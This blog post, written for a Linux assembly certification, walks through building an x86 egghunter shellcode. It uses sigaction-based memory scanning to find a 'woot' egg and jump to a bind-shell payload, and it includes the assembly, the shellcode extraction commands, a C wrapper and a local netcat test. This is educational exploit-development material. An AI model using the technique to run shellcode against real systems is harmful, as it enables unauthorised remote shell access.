Egghunter is shellcode that searches for an 8-byte egg that we delibrately place in memory. Once found, this egg points to a much larger space in memory where are shellcode can run.
Egghunter can can be very useful in a buffer overflow situation where we control the flow of the program and cannot execute our shellcode because of the space constraint. In that limited space, we then fit our egghunter shellcode that searches for the 8-byte egg and then jumps to that location to execute the shellcode
In a nutshell, our egghunter code iterates through each page and byte in memory and then compares the 4 bytes of our egg string “woot” until there is a match. If there is a match, it looks at the next 4 bytes to find another match of our egg string “woot” . If found then jump to that location and execute our shellcode
To begin writing our egg hunter, we use the sigaction function which does exactly what we need i.e. search a value in memory. From the man page we get details on calling the sigaction function
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact);
So we know eax will store the sigaction syscall. The syscall for sigaction is 67 i.e 0x43 in hex. ecx will hold the pointer to the memory address that we want to check to see if is valid. In this instance, it doesn’t matter whats in ebx and edx so lets ignore it.
In Linux, each page in memory is 4096 bytes which translates to 0x1000 in hex. To avoid the null byte, we split it into two instructions or cx, 0xfff (i.e 4095 bytes) and inc ecx. Another problem is while searching through memory we encounter tons of invalid pages. To overcome this, we will compare 0xf2 with al which checks if an efault occured. If al is 0 that means an efault occured and we jump to the next_page until we find a valid page.
Once we have a valid page in memory, we move our egg 0x776f674 (woot) into eax and ecx (the bytes from memory) into edi . The scasd instruction is then used to compare 4 bytes of eax (woot) with edi. If they dont match jump to next_address which increments a byte. If there is a match another scasd instruction is used to compare the next 4 bytes of eax(woot) with edi. If our 8 byte egg is found then we can jump to edi which will hold our shellcode.
; Author: buffered4ever
or cx, 0xfff ; page size
inc ecx ; next byte
xor eax, eax
mov al, 0x43 ;#define __NR_sigaction 67
int 0x80 ; syscall
cmp al, 0xf2 ; if efault al will be 0
jz next_page ; if zero jump to next page in memory
xor eax, eax
mov eax, 0x776f6f74 ; our egg woot – 0x776f6f74
mov edi, ecx ;
scasd ; checks if 4 bytes of edi match with eax(woot)
jnz next_address ; if no match jump to next address
scasd ; if matched check if next 4 bytes of edi also match with eax(woot)
jnz next_address ; if not jump to next address
jmp edi ; since both eggs matched jump to shellcode
Lets first compile and link the egghunter assembly program and then generate the shellcode.
ddpinto@ddpinto-VirtualBox:~$ ./compile.sh egghunter
[+] Assembling with NASM …
[+] Linking …
[+] Done! …
ddpinto@ddpinto-VirtualBox:~$ objdump -d ./egghunter|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
Lets copy the above shellcode in our cwrapper. Notice we insert the egg “wootwoot” in the variable egg inverted as “\x74\x6f\x6f\x77\x74\x6f\x6f\x77” due to little endian format. This will help us jump into our shell_bind_tcp shellcode.
// Egghunter Shellcode
// Author: buffered4ever
unsigned char egg_hunter = \
unsigned char egg = \
printf(“Egghunter Shellcode Length: %d\n”, strlen(egg_hunter));
printf(“Egg Shellcode Length: %d\n”, strlen(egg));
int (*ret)() = (int(*)())egg_hunter;
Lets compile the c code and run our final egghunter shellcode
ddpinto@ddpinto-VirtualBox:~$ gcc -fno-stack-protector -z execstack shellcode_egghunter.c -o shellcode_egghunter
Egghunter Shellcode Length: 33
Egg Shellcode Length: 122
ddpinto@ddpinto-VirtualBox:~$ nc -v 127.0.0.1 8000
Connection to 127.0.0.1 8000 port [tcp/*] succeeded!
And Voila! we have a bind shell.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: PA-1932